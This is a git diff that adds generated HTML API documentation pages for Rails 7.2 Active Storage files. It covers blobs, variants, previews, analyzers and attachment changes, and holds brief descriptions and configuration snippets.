diff --git a/src/7.2/files/activestorage/app/models/active_storage/blob/identifiable_rb.html b/src/7.2/files/activestorage/app/models/active_storage/blob/identifiable_rb.html new file mode 100644 index 0000000000..d96469c93b --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/blob/identifiable_rb.html @@ -0,0 +1,85 @@ +--- +title: identifiable.rb +layout: default +--- +
+ + +
+
+ +
+ +

Active Storage Blob Identifiable

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/blob/representable_rb.html b/src/7.2/files/activestorage/app/models/active_storage/blob/representable_rb.html new file mode 100644 index 0000000000..511ad99728 --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/blob/representable_rb.html @@ -0,0 +1,87 @@ +--- +title: representable.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • marcel
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/blob/servable_rb.html b/src/7.2/files/activestorage/app/models/active_storage/blob/servable_rb.html new file mode 100644 index 0000000000..b574bdbeb3 --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/blob/servable_rb.html @@ -0,0 +1,77 @@ +--- +title: servable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/blob_rb.html b/src/7.2/files/activestorage/app/models/active_storage/blob_rb.html new file mode 100644 index 0000000000..bc98be589c --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/blob_rb.html @@ -0,0 +1,100 @@ +--- +title: blob.rb +layout: default +--- +
+ + +
+
+ +
+ +

Active Storage Blob

+ +

A blob is a record that contains the metadata about a file and a key for where that file resides on the service. Blobs can be created in two ways:

+
  1. +

    Ahead of the file being uploaded server-side to the service, via create_and_upload!. A rewindable io with the file contents must be available at the server for this operation.

    +
  2. +

    Ahead of the file being directly uploaded client-side to the service, via create_before_direct_upload!.

    +
+ +

The first option doesn’t require any client-side JavaScript integration, and can be used by any other back-end service that deals with files. The second option is faster, since you’re not using your own server as a staging point for uploads, and can work with deployments like Heroku that do not provide large amounts of disk space.

+ +

Blobs are intended to be immutable in as-so-far as their reference to a specific file goes. You’re allowed to update a blob’s metadata on a subsequent pass, but you should not update the key or change the uploaded file. If you need to create a derivative or otherwise change the blob, simply create a new blob and purge the old one.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/current_rb.html b/src/7.2/files/activestorage/app/models/active_storage/current_rb.html new file mode 100644 index 0000000000..13b58ba94f --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/current_rb.html @@ -0,0 +1,70 @@ +--- +title: current.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/filename_rb.html b/src/7.2/files/activestorage/app/models/active_storage/filename_rb.html new file mode 100644 index 0000000000..ee831829ea --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/filename_rb.html @@ -0,0 +1,85 @@ +--- +title: filename.rb +layout: default +--- +
+ + +
+
+ +
+ +

Active Storage Filename

+ +

Encapsulates a string representing a filename to provide convenient access to parts of it and sanitization. A Filename instance is returned by ActiveStorage::Blob#filename, and is comparable so it can be used for sorting.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/named_variant_rb.html b/src/7.2/files/activestorage/app/models/active_storage/named_variant_rb.html new file mode 100644 index 0000000000..0e83b59b8b --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/named_variant_rb.html @@ -0,0 +1,70 @@ +--- +title: named_variant.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/preview_rb.html b/src/7.2/files/activestorage/app/models/active_storage/preview_rb.html new file mode 100644 index 0000000000..d7f7df4dbd --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/preview_rb.html @@ -0,0 +1,107 @@ +--- +title: preview.rb +layout: default +--- +
+ + +
+
+ +
+ +

Active Storage Preview

+ +

Some non-image blobs can be previewed: that is, they can be presented as images. A video blob can be previewed by extracting its first frame, and a PDF blob can be previewed by extracting its first page.

+ +

A previewer extracts a preview image from a blob. Active Storage provides previewers for videos and PDFs. ActiveStorage::Previewer::VideoPreviewer is used for videos whereas ActiveStorage::Previewer::PopplerPDFPreviewer and ActiveStorage::Previewer::MuPDFPreviewer are used for PDFs. Build custom previewers by subclassing ActiveStorage::Previewer and implementing the requisite methods. Consult the ActiveStorage::Previewer documentation for more details on what’s required of previewers.

+ +

To choose the previewer for a blob, Active Storage calls accept? on each registered previewer in order. It uses the first previewer for which accept? returns true when given the blob. In a Rails application, add or remove previewers by manipulating Rails.application.config.active_storage.previewers in an initializer:

+ +
Rails.application.config.active_storage.previewers
+# => [ ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer ]
+
+# Add a custom previewer for Microsoft Office documents:
+Rails.application.config.active_storage.previewers << DOCXPreviewer
+# => [ ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer, DOCXPreviewer ]
+
+ +

Outside of a Rails application, modify ActiveStorage.previewers instead.

+ +

The built-in previewers rely on third-party system libraries. Specifically, the built-in video previewer requires FFmpeg. Two PDF previewers are provided: one requires Poppler, and the other requires muPDF (version 1.8 or newer). To preview PDFs, install either Poppler or muPDF.

+ +

These libraries are not provided by Rails. You must install them yourself to use the built-in previewers. Before you install and use third-party software, make sure you understand the licensing implications of doing so.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/record_rb.html b/src/7.2/files/activestorage/app/models/active_storage/record_rb.html new file mode 100644 index 0000000000..a6351d33e9 --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/record_rb.html @@ -0,0 +1,70 @@ +--- +title: record.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/variant_rb.html b/src/7.2/files/activestorage/app/models/active_storage/variant_rb.html new file mode 100644 index 0000000000..b72138c16a --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/variant_rb.html @@ -0,0 +1,126 @@ +--- +title: variant.rb +layout: default +--- +
+ + +
+
+ +
+ +

Active Storage Variant

+ +

Image blobs can have variants that are the result of a set of transformations applied to the original. These variants are used to create thumbnails, fixed-size avatars, or any other derivative image from the original.

+ +

Variants rely on ImageProcessing gem for the actual transformations of the file, so you must add gem "image_processing" to your Gemfile if you wish to use variants. By default, images will be processed with ImageMagick using the MiniMagick gem, but you can also switch to the libvips processor operated by the ruby-vips gem).

+ +
Rails.application.config.active_storage.variant_processor
+# => :mini_magick
+
+Rails.application.config.active_storage.variant_processor = :vips
+# => :vips
+
+ +

Note that to create a variant it’s necessary to download the entire blob file from the service. Because of this process, you also want to be considerate about when the variant is actually processed. You shouldn’t be processing variants inline in a template, for example. Delay the processing to an on-demand controller, like the one provided in ActiveStorage::RepresentationsController.

+ +

To refer to such a delayed on-demand variant, simply link to the variant through the resolved route provided by Active Storage like so:

+ +
<%= image_tag Current.user.avatar.variant(resize_to_limit: [100, 100]) %>
+
+ +

This will create a URL for that specific blob with that specific variant, which the ActiveStorage::RepresentationsController can then produce on-demand.

+ +

When you do want to actually produce the variant needed, call processed. This will check that the variant has already been processed and uploaded to the service, and, if so, just return that. Otherwise it will perform the transformations, upload the variant to the service, and return itself again. Example:

+ +
avatar.variant(resize_to_limit: [100, 100]).processed.url
+
+ +

This will create and process a variant of the avatar blob that’s constrained to a height and width of 100. Then it’ll upload said variant to the service according to a derivative key of the blob and the transformations.

+ +

You can combine any number of ImageMagick/libvips operations into a variant, as well as any macros provided by the ImageProcessing gem (such as resize_to_limit):

+ +
avatar.variant(resize_to_limit: [800, 800], colourspace: "b-w", rotate: "-90")
+
+ +

Visit the following links for a list of available ImageProcessing commands and ImageMagick/libvips operations:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/variant_record_rb.html b/src/7.2/files/activestorage/app/models/active_storage/variant_record_rb.html new file mode 100644 index 0000000000..6d7a35faed --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/variant_record_rb.html @@ -0,0 +1,77 @@ +--- +title: variant_record.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/variant_with_record_rb.html b/src/7.2/files/activestorage/app/models/active_storage/variant_with_record_rb.html new file mode 100644 index 0000000000..56970b1020 --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/variant_with_record_rb.html @@ -0,0 +1,87 @@ +--- +title: variant_with_record.rb +layout: default +--- +
+ + +
+
+ +
+ +

Active Storage Variant With Record

+ +

Like an ActiveStorage::Variant, but keeps detail about the variant in the database as an ActiveStorage::VariantRecord. This is only used if ActiveStorage.track_variants is enabled.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/app/models/active_storage/variation_rb.html b/src/7.2/files/activestorage/app/models/active_storage/variation_rb.html new file mode 100644 index 0000000000..cdd69b7d84 --- /dev/null +++ b/src/7.2/files/activestorage/app/models/active_storage/variation_rb.html @@ -0,0 +1,89 @@ +--- +title: variation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • marcel
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/analyzer/audio_analyzer_rb.html b/src/7.2/files/activestorage/lib/active_storage/analyzer/audio_analyzer_rb.html new file mode 100644 index 0000000000..3b44b525ca --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/analyzer/audio_analyzer_rb.html @@ -0,0 +1,79 @@ +--- +title: audio_analyzer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer/image_magick_rb.html b/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer/image_magick_rb.html new file mode 100644 index 0000000000..62de092357 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer/image_magick_rb.html @@ -0,0 +1,89 @@ +--- +title: image_magick.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • mini_magick
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer/vips_rb.html b/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer/vips_rb.html new file mode 100644 index 0000000000..e11d6b7f53 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer/vips_rb.html @@ -0,0 +1,89 @@ +--- +title: vips.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • ruby-vips
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer_rb.html b/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer_rb.html new file mode 100644 index 0000000000..49480fdb9f --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/analyzer/image_analyzer_rb.html @@ -0,0 +1,79 @@ +--- +title: image_analyzer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/analyzer/null_analyzer_rb.html b/src/7.2/files/activestorage/lib/active_storage/analyzer/null_analyzer_rb.html new file mode 100644 index 0000000000..2fef655ccc --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/analyzer/null_analyzer_rb.html @@ -0,0 +1,77 @@ +--- +title: null_analyzer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/analyzer/video_analyzer_rb.html b/src/7.2/files/activestorage/lib/active_storage/analyzer/video_analyzer_rb.html new file mode 100644 index 0000000000..4e8bd39c76 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/analyzer/video_analyzer_rb.html @@ -0,0 +1,79 @@ +--- +title: video_analyzer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/analyzer_rb.html b/src/7.2/files/activestorage/lib/active_storage/analyzer_rb.html new file mode 100644 index 0000000000..3d02cfc33a --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/analyzer_rb.html @@ -0,0 +1,79 @@ +--- +title: analyzer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_many_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_many_rb.html new file mode 100644 index 0000000000..72d3bf9fc9 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_many_rb.html @@ -0,0 +1,77 @@ +--- +title: create_many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_one_of_many_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_one_of_many_rb.html new file mode 100644 index 0000000000..04906bba34 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_one_of_many_rb.html @@ -0,0 +1,77 @@ +--- +title: create_one_of_many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_one_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_one_rb.html new file mode 100644 index 0000000000..50d2dd4504 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/create_one_rb.html @@ -0,0 +1,91 @@ +--- +title: create_one.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch
  • + +
  • action_dispatch/http/upload
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/delete_many_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/delete_many_rb.html new file mode 100644 index 0000000000..f900790526 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/delete_many_rb.html @@ -0,0 +1,77 @@ +--- +title: delete_many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/delete_one_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/delete_one_rb.html new file mode 100644 index 0000000000..22e80e608c --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/delete_one_rb.html @@ -0,0 +1,77 @@ +--- +title: delete_one.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/detach_many_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/detach_many_rb.html new file mode 100644 index 0000000000..8bc76aab8d --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/detach_many_rb.html @@ -0,0 +1,77 @@ +--- +title: detach_many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/detach_one_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/detach_one_rb.html new file mode 100644 index 0000000000..b0fa06ca17 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/detach_one_rb.html @@ -0,0 +1,77 @@ +--- +title: detach_one.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/purge_many_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/purge_many_rb.html new file mode 100644 index 0000000000..0abb82bacf --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/purge_many_rb.html @@ -0,0 +1,77 @@ +--- +title: purge_many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes/purge_one_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes/purge_one_rb.html new file mode 100644 index 0000000000..36a4052ddd --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes/purge_one_rb.html @@ -0,0 +1,77 @@ +--- +title: purge_one.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/changes_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/changes_rb.html new file mode 100644 index 0000000000..2b23d9455c --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/changes_rb.html @@ -0,0 +1,77 @@ +--- +title: changes.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/many_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/many_rb.html new file mode 100644 index 0000000000..894bba7dad --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/many_rb.html @@ -0,0 +1,79 @@ +--- +title: many.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/model_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/model_rb.html new file mode 100644 index 0000000000..4f63b2dc76 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/model_rb.html @@ -0,0 +1,89 @@ +--- +title: model.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached/one_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached/one_rb.html new file mode 100644 index 0000000000..07a149850f --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached/one_rb.html @@ -0,0 +1,79 @@ +--- +title: one.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/attached_rb.html b/src/7.2/files/activestorage/lib/active_storage/attached_rb.html new file mode 100644 index 0000000000..139ad199d9 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/attached_rb.html @@ -0,0 +1,93 @@ +--- +title: attached.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
  • active_storage/attached/model
  • + +
  • active_storage/attached/one
  • + +
  • active_storage/attached/many
  • + +
  • active_storage/attached/changes
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/deprecator_rb.html b/src/7.2/files/activestorage/lib/active_storage/deprecator_rb.html new file mode 100644 index 0000000000..8a93bb1354 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/downloader_rb.html b/src/7.2/files/activestorage/lib/active_storage/downloader_rb.html new file mode 100644 index 0000000000..b1ece1950e --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/downloader_rb.html @@ -0,0 +1,72 @@ +--- +title: downloader.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/engine_rb.html b/src/7.2/files/activestorage/lib/active_storage/engine_rb.html new file mode 100644 index 0000000000..e695e73e16 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/engine_rb.html @@ -0,0 +1,125 @@ +--- +title: engine.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails
  • + +
  • action_controller/railtie
  • + +
  • active_job/railtie
  • + +
  • active_record/railtie
  • + +
  • active_storage
  • + +
  • active_storage/previewer/poppler_pdf_previewer
  • + +
  • active_storage/previewer/mupdf_previewer
  • + +
  • active_storage/previewer/video_previewer
  • + +
  • active_storage/analyzer/image_analyzer
  • + +
  • active_storage/analyzer/image_analyzer/image_magick
  • + +
  • active_storage/analyzer/image_analyzer/vips
  • + +
  • active_storage/analyzer/video_analyzer
  • + +
  • active_storage/analyzer/audio_analyzer
  • + +
  • active_storage/service/registry
  • + +
  • active_storage/reflection
  • + +
  • active_storage/attached
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/errors_rb.html b/src/7.2/files/activestorage/lib/active_storage/errors_rb.html new file mode 100644 index 0000000000..c99c85a4c0 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/errors_rb.html @@ -0,0 +1,89 @@ +--- +title: errors.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/fixture_set_rb.html b/src/7.2/files/activestorage/lib/active_storage/fixture_set_rb.html new file mode 100644 index 0000000000..c10c39e15f --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/fixture_set_rb.html @@ -0,0 +1,87 @@ +--- +title: fixture_set.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/testing/file_fixtures
  • + +
  • active_record/secure_token
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/gem_version_rb.html b/src/7.2/files/activestorage/lib/active_storage/gem_version_rb.html new file mode 100644 index 0000000000..07c33004d3 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/log_subscriber_rb.html b/src/7.2/files/activestorage/lib/active_storage/log_subscriber_rb.html new file mode 100644 index 0000000000..b8f68ce788 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/log_subscriber_rb.html @@ -0,0 +1,85 @@ +--- +title: log_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/log_subscriber
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/previewer/mupdf_previewer_rb.html b/src/7.2/files/activestorage/lib/active_storage/previewer/mupdf_previewer_rb.html new file mode 100644 index 0000000000..2716b251e8 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/previewer/mupdf_previewer_rb.html @@ -0,0 +1,79 @@ +--- +title: mupdf_previewer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/previewer/poppler_pdf_previewer_rb.html b/src/7.2/files/activestorage/lib/active_storage/previewer/poppler_pdf_previewer_rb.html new file mode 100644 index 0000000000..ef07ac1070 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/previewer/poppler_pdf_previewer_rb.html @@ -0,0 +1,79 @@ +--- +title: poppler_pdf_previewer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/previewer/video_previewer_rb.html b/src/7.2/files/activestorage/lib/active_storage/previewer/video_previewer_rb.html new file mode 100644 index 0000000000..394246d4d2 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/previewer/video_previewer_rb.html @@ -0,0 +1,87 @@ +--- +title: video_previewer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • shellwords
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/previewer_rb.html b/src/7.2/files/activestorage/lib/active_storage/previewer_rb.html new file mode 100644 index 0000000000..eceb745644 --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/previewer_rb.html @@ -0,0 +1,79 @@ +--- +title: previewer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/reflection_rb.html b/src/7.2/files/activestorage/lib/active_storage/reflection_rb.html new file mode 100644 index 0000000000..b95f80831e --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/reflection_rb.html @@ -0,0 +1,76 @@ +--- +title: reflection.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activestorage/lib/active_storage/service/azure_storage_service_rb.html b/src/7.2/files/activestorage/lib/active_storage/service/azure_storage_service_rb.html new file mode 100644 index 0000000000..77f4ce64bb --- /dev/null +++ b/src/7.2/files/activestorage/lib/active_storage/service/azure_storage_service_rb.html @@ -0,0 +1,91 @@ +--- +title: azure_storage_service.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/numeric/bytes
  • + +
  • azure/storage/blob
  • + +
  • azure/storage/common/core/auth/shared_access_signature
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
